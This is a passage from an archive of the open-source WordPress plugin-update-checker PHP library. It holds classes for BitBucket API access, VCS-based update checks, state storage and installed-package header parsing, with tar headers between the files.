timestamp of the latest commit that changed the specified branch or tag. * * @param string $ref Reference name (e.g. branch or tag). * @return string|null */ public function getLatestCommitTime($ref) { $response = $this->api('commits/' . $ref); if ( isset($response->values, $response->values[0], $response->values[0]->date) ) { return $response->values[0]->date; } return null; } /** * Perform a BitBucket API 2.0 request. * * @param string $url * @param string $version * @return mixed|\WP_Error */ public function api($url, $version = '2.0') { $url = ltrim($url, '/'); $isSrcResource = Utils::startsWith($url, 'src/'); $url = implode('/', array( 'https://api.bitbucket.org', $version, 'repositories', $this->username, $this->repository, $url )); $baseUrl = $url; if ( $this->oauth ) { $url = $this->oauth->sign($url,'GET'); } $options = array('timeout' => wp_doing_cron() ? 10 : 3); if ( !empty($this->httpFilterName) ) { $options = apply_filters($this->httpFilterName, $options); } $response = wp_remote_get($url, $options); if ( is_wp_error($response) ) { do_action('puc_api_error', $response, null, $url, $this->slug); return $response; } $code = wp_remote_retrieve_response_code($response); $body = wp_remote_retrieve_body($response); if ( $code === 200 ) { if ( $isSrcResource ) { //Most responses are JSON-encoded, but src resources just //return raw file contents. $document = $body; } else { $document = json_decode($body); } return $document; } $error = new \WP_Error( 'puc-bitbucket-http-error', sprintf('BitBucket API error. Base URL: "%s", HTTP status code: %d.', $baseUrl, $code) ); do_action('puc_api_error', $error, $response, $url, $this->slug); return $error; } /** * @param array $credentials */ public function setAuthentication($credentials) { parent::setAuthentication($credentials); if ( !empty($credentials) && !empty($credentials['consumer_key']) ) { $this->oauth = new OAuthSignature( $credentials['consumer_key'], $credentials['consumer_secret'] ); } else { $this->oauth = null; } } public function signDownloadUrl($url) { //Add authentication data to download URLs. Since OAuth signatures incorporate //timestamps, we have to do this immediately before inserting the update. Otherwise, //authentication could fail due to a stale timestamp. if ( $this->oauth ) { $url = $this->oauth->sign($url); } return $url; } } endif; ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/Vcs/BaseChecker.php���������������������������������������������������������0000644�����������������00000001043�14757771437�0014402 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\Vcs; if ( !interface_exists(BaseChecker::class, false) ): interface BaseChecker { /** * Set the repository branch to use for updates. Defaults to 'master'. * * @param string $branch * @return $this */ public function setBranch($branch); /** * Set authentication credentials. * * @param array|string $credentials * @return $this */ public function setAuthentication($credentials); /** * @return Api */ public function getVcsApi(); } endif; ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/Vcs/ReleaseAssetSupport.php�������������������������������������������������0000644�����������������00000004517�14757771437�0016231 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\Vcs; if ( !trait_exists(ReleaseAssetSupport::class, false) ) : trait ReleaseAssetSupport { /** * @var bool Whether to download release assets instead of the auto-generated * source code archives. */ protected $releaseAssetsEnabled = false; /** * @var string|null Regular expression that's used to filter release assets * by file name or URL. Optional. */ protected $assetFilterRegex = null; /** * How to handle releases that don't have any matching release assets. * * @var int */ protected $releaseAssetPreference = Api::PREFER_RELEASE_ASSETS; /** * Enable updating via release assets. * * If the latest release contains no usable assets, the update checker * will fall back to using the automatically generated ZIP archive. * * @param string|null $nameRegex Optional. Use only those assets where * the file name or URL matches this regex. * @param int $preference Optional. How to handle releases that don't have * any matching release assets. */ public function enableReleaseAssets($nameRegex = null, $preference = Api::PREFER_RELEASE_ASSETS) { $this->releaseAssetsEnabled = true; $this->assetFilterRegex = $nameRegex; $this->releaseAssetPreference = $preference; } /** * Disable release assets. * * @return void * @noinspection PhpUnused -- Public API */ public function disableReleaseAssets() { $this->releaseAssetsEnabled = false; $this->assetFilterRegex = null; } /** * Does the specified asset match the name regex? * * @param mixed $releaseAsset Data type and structure depend on the host/API. * @return bool */ protected function matchesAssetFilter($releaseAsset) { if ( $this->assetFilterRegex === null ) { //The default is to accept all assets. return true; } $name = $this->getFilterableAssetName($releaseAsset); if ( !is_string($name) ) { return false; } return (bool)preg_match($this->assetFilterRegex, $releaseAsset->name); } /** * Get the part of asset data that will be checked against the filter regex. * * @param mixed $releaseAsset * @return string|null */ abstract protected function getFilterableAssetName($releaseAsset); } endif;���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/Vcs/Reference.php�����������������������������������������������������������0000644�����������������00000002142�14757771437�0014142 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\Vcs; if ( !class_exists(Reference::class, false) ): /** * This class represents a VCS branch or tag. It's intended as a read only, short-lived container * that only exists to provide a limited degree of type checking. * * @property string $name * @property string|null version * @property string $downloadUrl * @property string $updated * * @property string|null $changelog * @property int|null $downloadCount */ class Reference { private $properties = array(); public function __construct($properties = array()) { $this->properties = $properties; } /** * @param string $name * @return mixed|null */ public function __get($name) { return array_key_exists($name, $this->properties) ? $this->properties[$name] : null; } /** * @param string $name * @param mixed $value */ public function __set($name, $value) { $this->properties[$name] = $value; } /** * @param string $name * @return bool */ public function __isset($name) { return isset($this->properties[$name]); } } endif; ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/Vcs/PluginUpdateChecker.php�������������������������������������������������0000644�����������������00000021622�14757771437�0016136 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2\Vcs; use YahnisElsts\PluginUpdateChecker\v5p2\Plugin; if ( !class_exists(PluginUpdateChecker::class, false) ): class PluginUpdateChecker extends Plugin\UpdateChecker implements BaseChecker { use VcsCheckerMethods; /** * PluginUpdateChecker constructor. * * @param Api $api * @param string $pluginFile * @param string $slug * @param int $checkPeriod * @param string $optionName * @param string $muPluginFile */ public function __construct($api, $pluginFile, $slug = '', $checkPeriod = 12, $optionName = '', $muPluginFile = '') { $this->api = $api; parent::__construct($api->getRepositoryUrl(), $pluginFile, $slug, $checkPeriod, $optionName, $muPluginFile); $this->api->setHttpFilterName($this->getUniqueName('request_info_options')); $this->api->setStrategyFilterName($this->getUniqueName('vcs_update_detection_strategies')); $this->api->setSlug($this->slug); } public function requestInfo($unusedParameter = null) { //We have to make several remote API requests to gather all the necessary info //which can take a while on slow networks. if ( function_exists('set_time_limit') ) { @set_time_limit(60); } $api = $this->api; $api->setLocalDirectory($this->package->getAbsoluteDirectoryPath()); $info = new Plugin\PluginInfo(); $info->filename = $this->pluginFile; $info->slug = $this->slug; $this->setInfoFromHeader($this->package->getPluginHeader(), $info); $this->setIconsFromLocalAssets($info); $this->setBannersFromLocalAssets($info); //Pick a branch or tag. $updateSource = $api->chooseReference($this->branch); if ( $updateSource ) { $ref = $updateSource->name; $info->version = $updateSource->version; $info->last_updated = $updateSource->updated; $info->download_url = $updateSource->downloadUrl; if ( !empty($updateSource->changelog) ) { $info->sections['changelog'] = $updateSource->changelog; } if ( isset($updateSource->downloadCount) ) { $info->downloaded = $updateSource->downloadCount; } } else { //There's probably a network problem or an authentication error. do_action( 'puc_api_error', new \WP_Error( 'puc-no-update-source', 'Could not retrieve version information from the repository. ' . 'This usually means that the update checker either can\'t connect ' . 'to the repository or it\'s configured incorrectly.' ), null, null, $this->slug ); return null; } //Get headers from the main plugin file in this branch/tag. Its "Version" header and other metadata //are what the WordPress install will actually see after upgrading, so they take precedence over releases/tags. $mainPluginFile = basename($this->pluginFile); $remotePlugin = $api->getRemoteFile($mainPluginFile, $ref); if ( !empty($remotePlugin) ) { $remoteHeader = $this->package->getFileHeader($remotePlugin); $this->setInfoFromHeader($remoteHeader, $info); } //Sanity check: Reject updates that don't have a version number. //This can happen when we're using a branch, and we either fail to retrieve the main plugin //file or the file doesn't have a "Version" header. if ( empty($info->version) ) { do_action( 'puc_api_error', new \WP_Error( 'puc-no-plugin-version', 'Could not find the version number in the repository.' ), null, null, $this->slug ); return null; } //Try parsing readme.txt. If it's formatted according to WordPress.org standards, it will contain //a lot of useful information like the required/tested WP version, changelog, and so on. if ( $this->readmeTxtExistsLocally() ) { $this->setInfoFromRemoteReadme($ref, $info); } //The changelog might be in a separate file. if ( empty($info->sections['changelog']) ) { $info->sections['changelog'] = $api->getRemoteChangelog($ref, $this->package->getAbsoluteDirectoryPath()); if ( empty($info->sections['changelog']) ) { $info->sections['changelog'] = __('There is no changelog available.', 'plugin-update-checker'); } } if ( empty($info->last_updated) ) { //Fetch the latest commit that changed the tag or branch and use it as the "last_updated" date. $latestCommitTime = $api->getLatestCommitTime($ref); if ( $latestCommitTime !== null ) { $info->last_updated = $latestCommitTime; } } $info = apply_filters($this->getUniqueName('request_info_result'), $info, null); return $info; } /** * Check if the currently installed version has a readme.txt file. * * @return bool */ protected function readmeTxtExistsLocally() { return $this->package->fileExists($this->api->getLocalReadmeName()); } /** * Copy plugin metadata from a file header to a Plugin Info object. * * @param array $fileHeader * @param Plugin\PluginInfo $pluginInfo */ protected function setInfoFromHeader($fileHeader, $pluginInfo) { $headerToPropertyMap = array( 'Version' => 'version', 'Name' => 'name', 'PluginURI' => 'homepage', 'Author' => 'author', 'AuthorName' => 'author', 'AuthorURI' => 'author_homepage', 'Requires WP' => 'requires', 'Tested WP' => 'tested', 'Requires at least' => 'requires', 'Tested up to' => 'tested', 'Requires PHP' => 'requires_php', ); foreach ($headerToPropertyMap as $headerName => $property) { if ( isset($fileHeader[$headerName]) && !empty($fileHeader[$headerName]) ) { $pluginInfo->$property = $fileHeader[$headerName]; } } if ( !empty($fileHeader['Description']) ) { $pluginInfo->sections['description'] = $fileHeader['Description']; } } /** * Copy plugin metadata from the remote readme.txt file. * * @param string $ref GitHub tag or branch where to look for the readme. * @param Plugin\PluginInfo $pluginInfo */ protected function setInfoFromRemoteReadme($ref, $pluginInfo) { $readme = $this->api->getRemoteReadme($ref); if ( empty($readme) ) { return; } if ( isset($readme['sections']) ) { $pluginInfo->sections = array_merge($pluginInfo->sections, $readme['sections']); } if ( !empty($readme['tested_up_to']) ) { $pluginInfo->tested = $readme['tested_up_to']; } if ( !empty($readme['requires_at_least']) ) { $pluginInfo->requires = $readme['requires_at_least']; } if ( !empty($readme['requires_php']) ) { $pluginInfo->requires_php = $readme['requires_php']; } if ( isset($readme['upgrade_notice'], $readme['upgrade_notice'][$pluginInfo->version]) ) { $pluginInfo->upgrade_notice = $readme['upgrade_notice'][$pluginInfo->version]; } } /** * Add icons from the currently installed version to a Plugin Info object. * * The icons should be in a subdirectory named "assets". Supported image formats * and file names are described here: * @link https://developer.wordpress.org/plugins/wordpress-org/plugin-assets/#plugin-icons * * @param Plugin\PluginInfo $pluginInfo */ protected function setIconsFromLocalAssets($pluginInfo) { $icons = $this->getLocalAssetUrls(array( 'icon.svg' => 'svg', 'icon-256x256.png' => '2x', 'icon-256x256.jpg' => '2x', 'icon-128x128.png' => '1x', 'icon-128x128.jpg' => '1x', )); if ( !empty($icons) ) { //The "default" key seems to be used only as last-resort fallback in WP core (5.8/5.9), //but we'll set it anyway in case some code somewhere needs it. reset($icons); $firstKey = key($icons); $icons['default'] = $icons[$firstKey]; $pluginInfo->icons = $icons; } } /** * Add banners from the currently installed version to a Plugin Info object. * * The banners should be in a subdirectory named "assets". Supported image formats * and file names are described here: * @link https://developer.wordpress.org/plugins/wordpress-org/plugin-assets/#plugin-headers * * @param Plugin\PluginInfo $pluginInfo */ protected function setBannersFromLocalAssets($pluginInfo) { $banners = $this->getLocalAssetUrls(array( 'banner-772x250.png' => 'high', 'banner-772x250.jpg' => 'high', 'banner-1544x500.png' => 'low', 'banner-1544x500.jpg' => 'low', )); if ( !empty($banners) ) { $pluginInfo->banners = $banners; } } /** * @param array<string, string> $filesToKeys * @return array<string, string> */ protected function getLocalAssetUrls($filesToKeys) { $assetDirectory = $this->package->getAbsoluteDirectoryPath() . DIRECTORY_SEPARATOR . 'assets'; if ( !is_dir($assetDirectory) ) { return array(); } $assetBaseUrl = trailingslashit(plugins_url('', $assetDirectory . '/imaginary.file')); $foundAssets = array(); foreach ($filesToKeys as $fileName => $key) { $fullBannerPath = $assetDirectory . DIRECTORY_SEPARATOR . $fileName; if ( !isset($icons[$key]) && is_file($fullBannerPath) ) { $foundAssets[$key] = $assetBaseUrl . $fileName; } } return $foundAssets; } } endif; ��������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/Utils.php�������������������������������������������������������������������0000644�����������������00000003547�14757771437�0012623 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2; if ( !class_exists(Utils::class, false) ): class Utils { /** * Get a value from a nested array or object based on a path. * * @param array|object|null $collection Get an entry from this array. * @param array|string $path A list of array keys in hierarchy order, or a string path like "foo.bar.baz". * @param mixed $default The value to return if the specified path is not found. * @param string $separator Path element separator. Only applies to string paths. * @return mixed */ public static function get($collection, $path, $default = null, $separator = '.') { if ( is_string($path) ) { $path = explode($separator, $path); } //Follow the $path into $input as far as possible. $currentValue = $collection; foreach ($path as $node) { if ( is_array($currentValue) && isset($currentValue[$node]) ) { $currentValue = $currentValue[$node]; } else if ( is_object($currentValue) && isset($currentValue->$node) ) { $currentValue = $currentValue->$node; } else { return $default; } } return $currentValue; } /** * Get the first array element that is not empty. * * @param array $values * @param mixed|null $default Returns this value if there are no non-empty elements. * @return mixed|null */ public static function findNotEmpty($values, $default = null) { if ( empty($values) ) { return $default; } foreach ($values as $value) { if ( !empty($value) ) { return $value; } } return $default; } /** * Check if the input string starts with the specified prefix. * * @param string $input * @param string $prefix * @return bool */ public static function startsWith($input, $prefix) { $length = strlen($prefix); return (substr($input, 0, $length) === $prefix); } } endif; ���������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/Update.php������������������������������������������������������������������0000644�����������������00000001355�14757771437�0012740 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2; use stdClass; if ( !class_exists(Update::class, false) ): /** * A simple container class for holding information about an available update. * * @author Janis Elsts * @access public */ abstract class Update extends Metadata { public $slug; public $version; public $download_url; public $translations = array(); /** * @return string[] */ protected function getFieldNames() { return array('slug', 'version', 'download_url', 'translations'); } public function toWpFormat() { $update = new stdClass(); $update->slug = $this->slug; $update->new_version = $this->version; $update->package = $this->download_url; return $update; } } endif; �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/StateStore.php��������������������������������������������������������������0000644�����������������00000010715�14757771437�0013613 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2; if ( !class_exists(StateStore::class, false) ): class StateStore { /** * @var int Last update check timestamp. */ protected $lastCheck = 0; /** * @var string Version number. */ protected $checkedVersion = ''; /** * @var Update|null Cached update. */ protected $update = null; /** * @var string Site option name. */ private $optionName = ''; /** * @var bool Whether we've already tried to load the state from the database. */ private $isLoaded = false; public function __construct($optionName) { $this->optionName = $optionName; } /** * Get time elapsed since the last update check. * * If there are no recorded update checks, this method returns a large arbitrary number * (i.e. time since the Unix epoch). * * @return int Elapsed time in seconds. */ public function timeSinceLastCheck() { $this->lazyLoad(); return time() - $this->lastCheck; } /** * @return int */ public function getLastCheck() { $this->lazyLoad(); return $this->lastCheck; } /** * Set the time of the last update check to the current timestamp. * * @return $this */ public function setLastCheckToNow() { $this->lazyLoad(); $this->lastCheck = time(); return $this; } /** * @return null|Update */ public function getUpdate() { $this->lazyLoad(); return $this->update; } /** * @param Update|null $update * @return $this */ public function setUpdate(Update $update = null) { $this->lazyLoad(); $this->update = $update; return $this; } /** * @return string */ public function getCheckedVersion() { $this->lazyLoad(); return $this->checkedVersion; } /** * @param string $version * @return $this */ public function setCheckedVersion($version) { $this->lazyLoad(); $this->checkedVersion = strval($version); return $this; } /** * Get translation updates. * * @return array */ public function getTranslations() { $this->lazyLoad(); if ( isset($this->update, $this->update->translations) ) { return $this->update->translations; } return array(); } /** * Set translation updates. * * @param array $translationUpdates */ public function setTranslations($translationUpdates) { $this->lazyLoad(); if ( isset($this->update) ) { $this->update->translations = $translationUpdates; $this->save(); } } public function save() { $state = new \stdClass(); $state->lastCheck = $this->lastCheck; $state->checkedVersion = $this->checkedVersion; if ( isset($this->update)) { $state->update = $this->update->toStdClass(); $updateClass = get_class($this->update); $state->updateClass = $updateClass; $prefix = $this->getLibPrefix(); if ( Utils::startsWith($updateClass, $prefix) ) { $state->updateBaseClass = substr($updateClass, strlen($prefix)); } } update_site_option($this->optionName, $state); $this->isLoaded = true; } /** * @return $this */ public function lazyLoad() { if ( !$this->isLoaded ) { $this->load(); } return $this; } protected function load() { $this->isLoaded = true; $state = get_site_option($this->optionName, null); if ( !is_object($state) ) { $this->lastCheck = 0; $this->checkedVersion = ''; $this->update = null; return; } $this->lastCheck = intval(Utils::get($state, 'lastCheck', 0)); $this->checkedVersion = Utils::get($state, 'checkedVersion', ''); $this->update = null; if ( isset($state->update) ) { //This mess is due to the fact that the want the update class from this version //of the library, not the version that saved the update. $updateClass = null; if ( isset($state->updateBaseClass) ) { $updateClass = $this->getLibPrefix() . $state->updateBaseClass; } else if ( isset($state->updateClass) ) { $updateClass = $state->updateClass; } $factory = array($updateClass, 'fromObject'); if ( ($updateClass !== null) && is_callable($factory) ) { $this->update = call_user_func($factory, $state->update); } } } public function delete() { delete_site_option($this->optionName); $this->lastCheck = 0; $this->checkedVersion = ''; $this->update = null; } private function getLibPrefix() { //This assumes that the current class is at the top of the versioned namespace. return __NAMESPACE__ . '\\'; } } endif; ���������������������������������������������������update-checker/Puc/v5p2/InstalledPackage.php��������������������������������������������������������0000644�����������������00000005571�14757771437�0014715 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2; if ( !class_exists(InstalledPackage::class, false) ): /** * This class represents a currently installed plugin or theme. * * Not to be confused with the "package" field in WP update API responses that contains * the download URL of a the new version. */ abstract class InstalledPackage { /** * @var UpdateChecker */ protected $updateChecker; public function __construct($updateChecker) { $this->updateChecker = $updateChecker; } /** * Get the currently installed version of the plugin or theme. * * @return string|null Version number. */ abstract public function getInstalledVersion(); /** * Get the full path of the plugin or theme directory (without a trailing slash). * * @return string */ abstract public function getAbsoluteDirectoryPath(); /** * Check whether a regular file exists in the package's directory. * * @param string $relativeFileName File name relative to the package directory. * @return bool */ public function fileExists($relativeFileName) { return is_file( $this->getAbsoluteDirectoryPath() . DIRECTORY_SEPARATOR . ltrim($relativeFileName, '/\\') ); } /* ------------------------------------------------------------------- * File header parsing * ------------------------------------------------------------------- */ /** * Parse plugin or theme metadata from the header comment. * * This is basically a simplified version of the get_file_data() function from /wp-includes/functions.php. * It's intended as a utility for subclasses that detect updates by parsing files in a VCS. * * @param string|null $content File contents. * @return string[] */ public function getFileHeader($content) { $content = (string)$content; //WordPress only looks at the first 8 KiB of the file, so we do the same. $content = substr($content, 0, 8192); //Normalize line endings. $content = str_replace("\r", "\n", $content); $headers = $this->getHeaderNames(); $results = array(); foreach ($headers as $field => $name) { $success = preg_match('/^[ \t\/*#@]*' . preg_quote($name, '/') . ':(.*)$/mi', $content, $matches); if ( ($success === 1) && $matches[1] ) { $value = $matches[1]; if ( function_exists('_cleanup_header_comment') ) { $value = _cleanup_header_comment($value); } $results[$field] = $value; } else { $results[$field] = ''; } } return $results; } /** * @return array Format: ['HeaderKey' => 'Header Name'] */ abstract protected function getHeaderNames(); /** * Get the value of a specific plugin or theme header. * * @param string $headerName * @return string Either the value of the header, or an empty string if the header doesn't exist. */ abstract public function getHeaderValue($headerName); } endif; ���������������������������������������������������������������������������������������������������������������������������������������update-checker/Puc/v5p2/UpdateChecker.php�����������������������������������������������������������0000644�����������������00000075400�14757771437�0014227 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace YahnisElsts\PluginUpdateChecker\v5p2; use stdClass; use WP_Error; if ( !class_exists(UpdateChecker::class, false) ): abstract class UpdateChecker { protected $filterSuffix = ''; protected $updateTransient = ''; protected $translationType = ''; //This can be "plugin" or "theme". /** * Set to TRUE to enable error reporting. Errors are raised using trigger_error() * and should be logged to the standard PHP error log. * @var bool */ public $debugMode = null; /** * @var string Where to store the update info. */ public $optionName = ''; /** * @var string The URL of the metadata file. */ public $metadataUrl = ''; /** * @var string Plugin or theme directory name. */ public $directoryName = ''; /** * @var string The slug that will be used in update checker hooks and remote API requests. * Usually matches the directory name unless the plugin/theme directory has been renamed. */ public $slug = ''; /** * @var InstalledPackage */ protected $package; /** * @var Scheduler */ public $scheduler; /** * @var UpgraderStatus */ protected $upgraderStatus; /** * @var StateStore */ protected $updateState; /** * @var array List of API errors triggered during the last checkForUpdates() call. */ protected $lastRequestApiErrors = array(); /** * @var string|mixed The default is 0 because parse_url() can return NULL or FALSE. */ protected $cachedMetadataHost = 0; /** * @var DebugBar\Extension|null */ protected $debugBarExtension = null; public function __construct($metadataUrl, $directoryName, $slug = null, $checkPeriod = 12, $optionName = '') { $this->debugMode = (bool)(constant('WP_DEBUG')); $this->metadataUrl = $metadataUrl; $this->directoryName = $directoryName; $this->slug = !empty($slug) ? $slug : $this->directoryName; $this->optionName = $optionName; if ( empty($this->optionName) ) { //BC: Initially the library only supported plugin updates and didn't use type prefixes //in the option name. Lets use the same prefix-less name when possible. if ( $this->filterSuffix === '' ) { $this->optionName = 'external_updates-' . $this->slug; } else { $this->optionName = $this->getUniqueName('external_updates'); } } $this->package = $this->createInstalledPackage(); $this->scheduler = $this->createScheduler($checkPeriod); $this->upgraderStatus = new UpgraderStatus(); $this->updateState = new StateStore($this->optionName); if ( did_action('init') ) { $this->loadTextDomain(); } else { add_action('init', array($this, 'loadTextDomain')); } $this->installHooks(); } /** * @internal */ public function loadTextDomain() { //We're not using load_plugin_textdomain() or its siblings because figuring out where //the library is located (plugin, mu-plugin, theme, custom wp-content paths) is messy. $domain = 'plugin-update-checker'; $locale = apply_filters( 'plugin_locale', (is_admin() && function_exists('get_user_locale')) ? get_user_locale() : get_locale(), $domain ); $moFile = $domain . '-' . $locale . '.mo'; $path = realpath(dirname(__FILE__) . '/../../languages'); if ($path && file_exists($path)) { load_textdomain($domain, $path . '/' . $moFile); } } protected function installHooks() { //Insert our update info into the update array maintained by WP. add_filter('site_transient_' . $this->updateTransient, array($this,'injectUpdate')); //Insert translation updates into the update list. add_filter('site_transient_' . $this->updateTransient, array($this, 'injectTranslationUpdates')); //Clear translation updates when WP clears the update cache. //This needs to be done directly because the library doesn't actually remove obsolete plugin updates, //it just hides them (see getUpdate()). We can't do that with translations - too much disk I/O. add_action( 'delete_site_transient_' . $this->updateTransient, array($this, 'clearCachedTranslationUpdates') ); //Rename the update directory to be the same as the existing directory. if ( $this->directoryName !== '.' ) { add_filter('upgrader_source_selection', array($this, 'fixDirectoryName'), 10, 3); } //Allow HTTP requests to the metadata URL even if it's on a local host. add_filter('http_request_host_is_external', array($this, 'allowMetadataHost'), 10, 2); //DebugBar integration. if ( did_action('plugins_loaded') ) { $this->maybeInitDebugBar(); } else { add_action('plugins_loaded', array($this, 'maybeInitDebugBar')); } } /** * Remove hooks that were added by this update checker instance. */ public function removeHooks() { remove_filter('site_transient_' . $this->updateTransient, array($this,'injectUpdate')); remove_filter('site_transient_' . $this->updateTransient, array($this, 'injectTranslationUpdates')); remove_action( 'delete_site_transient_' . $this->updateTransient, array($this, 'clearCachedTranslationUpdates') ); remove_filter('upgrader_source_selection', array($this, 'fixDirectoryName'), 10); remove_filter('http_request_host_is_external', array($this, 'allowMetadataHost'), 10); remove_action('plugins_loaded', array($this, 'maybeInitDebugBar')); remove_action('init', array($this, 'loadTextDomain')); if ( $this->scheduler ) { $this->scheduler->removeHooks(); } if ( $this->debugBarExtension ) { $this->debugBarExtension->removeHooks(); } } /** * Check if the current user has the required permissions to install updates. * * @return bool */ abstract public function userCanInstallUpdates(); /** * Explicitly allow HTTP requests to the metadata URL. * * WordPress has a security feature where the HTTP API will reject all requests that are sent to * another site hosted on the same server as the current site (IP match), a local host, or a local * IP, unless the host exactly matches the current site. * * This feature is opt-in (at least in WP 4.4). Apparently some people enable it. * * That can be a problem when you're developing your plugin and you decide to host the update information * on the same server as your test site. Update requests will mysteriously fail. * * We fix that by adding an exception for the metadata host. * * @param bool $allow * @param string $host * @return bool */ public function allowMetadataHost($allow, $host) { if ( $this->cachedMetadataHost === 0 ) { $this->cachedMetadataHost = wp_parse_url($this->metadataUrl, PHP_URL_HOST); } if ( is_string($this->cachedMetadataHost) && (strtolower($host) === strtolower($this->cachedMetadataHost)) ) { return true; } return $allow; } /** * Create a package instance that represents this plugin or theme. * * @return InstalledPackage */ abstract protected function createInstalledPackage(); /** * @return InstalledPackage */ public function getInstalledPackage() { return $this->package; } /** * Create an instance of the scheduler. * * This is implemented as a method to make it possible for plugins to subclass the update checker * and substitute their own scheduler. * * @param int $checkPeriod * @return Scheduler */ abstract protected function createScheduler($checkPeriod); /** * Check for updates. The results are stored in the DB option specified in $optionName. * * @return Update|null */ public function checkForUpdates() { $installedVersion = $this->getInstalledVersion(); //Fail silently if we can't find the plugin/theme or read its header. if ( $installedVersion === null ) { $this->triggerError( sprintf('Skipping update check for %s - installed version unknown.', $this->slug), E_USER_WARNING ); return null; } //Start collecting API errors. $this->lastRequestApiErrors = array(); add_action('puc_api_error', array($this, 'collectApiErrors'), 10, 4); $state = $this->updateState; $state->setLastCheckToNow() ->setCheckedVersion($installedVersion) ->save(); //Save before checking in case something goes wrong $state->setUpdate($this->requestUpdate()); $state->save(); //Stop collecting API errors. remove_action('puc_api_error', array($this, 'collectApiErrors'), 10); return $this->getUpdate(); } /** * Load the update checker state from the DB. * * @return StateStore */ public function getUpdateState() { return $this->updateState->lazyLoad(); } /** * Reset update checker state - i.e. last check time, cached update data and so on. * * Call this when your plugin is being uninstalled, or if you want to * clear the update cache. */ public function resetUpdateState() { $this->updateState->delete(); } /** * Get the details of the currently available update, if any. * * If no updates are available, or if the last known update version is below or equal * to the currently installed version, this method will return NULL. * * Uses cached update data. To retrieve update information straight from * the metadata URL, call requestUpdate() instead. * * @return Update|null */ public function getUpdate() { $update = $this->updateState->getUpdate(); //Is there an update available? if ( isset($update) ) { //Check if the update is actually newer than the currently installed version. $installedVersion = $this->getInstalledVersion(); if ( ($installedVersion !== null) && version_compare($update->version, $installedVersion, '>') ){ return $update; } } return null; } /** * Retrieve the latest update (if any) from the configured API endpoint. * * Subclasses should run the update through filterUpdateResult before returning it. * * @return Update An instance of Update, or NULL when no updates are available. */ abstract public function requestUpdate(); /** * Filter the result of a requestUpdate() call. * * @template T of Update * @param T|null $update * @param array|WP_Error|null $httpResult The value returned by wp_remote_get(), if any. * @return T */ protected function filterUpdateResult($update, $httpResult = null) { //Let plugins/themes modify the update. $update = apply_filters($this->getUniqueName('request_update_result'), $update, $httpResult); $this->fixSupportedWordpressVersion($update); if ( isset($update, $update->translations) ) { //Keep only those translation updates that apply to this site. $update->translations = $this->filterApplicableTranslations($update->translations); } return $update; } /** * The "Tested up to" field in the plugin metadata is supposed to be in the form of "major.minor", * while WordPress core's list_plugin_updates() expects the $update->tested field to be an exact * version, e.g. "major.minor.patch", to say it's compatible. In other case it shows * "Compatibility: Unknown". * The function mimics how wordpress.org API crafts the "tested" field out of "Tested up to". * * @param Metadata|null $update */ protected function fixSupportedWordpressVersion(Metadata $update = null) { if ( !isset($update->tested) || !preg_match('/^\d++\.\d++$/', $update->tested) ) { return; } $actualWpVersions = array(); $wpVersion = $GLOBALS['wp_version']; if ( function_exists('get_core_updates') ) { $coreUpdates = get_core_updates(); if ( is_array($coreUpdates) ) { foreach ($coreUpdates as $coreUpdate) { if ( isset($coreUpdate->current) ) { $actualWpVersions[] = $coreUpdate->current; } } } } $actualWpVersions[] = $wpVersion; $actualWpPatchNumber = null; foreach ($actualWpVersions as $version) { if ( preg_match('/^(?P<majorMinor>\d++\.\d++)(?:\.(?P<patch>\d++))?/', $version, $versionParts) ) { if ( $versionParts['majorMinor'] === $update->tested ) { $patch = isset($versionParts['patch']) ? intval($versionParts['patch']) : 0; if ( $actualWpPatchNumber === null ) { $actualWpPatchNumber = $patch; } else { $actualWpPatchNumber = max($actualWpPatchNumber, $patch); } } } } if ( $actualWpPatchNumber === null ) { $actualWpPatchNumber = 999; } if ( $actualWpPatchNumber > 0 ) { $update->tested .= '.' . $actualWpPatchNumber; } } /** * Get the currently installed version of the plugin or theme. * * @return string|null Version number. */ public function getInstalledVersion() { return $this->package->getInstalledVersion(); } /** * Get the full path of the plugin or theme directory. * * @return string */ public function getAbsoluteDirectoryPath() { return $this->package->getAbsoluteDirectoryPath(); } /** * Trigger a PHP error, but only when $debugMode is enabled. * * @param string $message * @param int $errorType */ public function triggerError($message, $errorType) { if ( $this->isDebugModeEnabled() ) { //phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_trigger_error 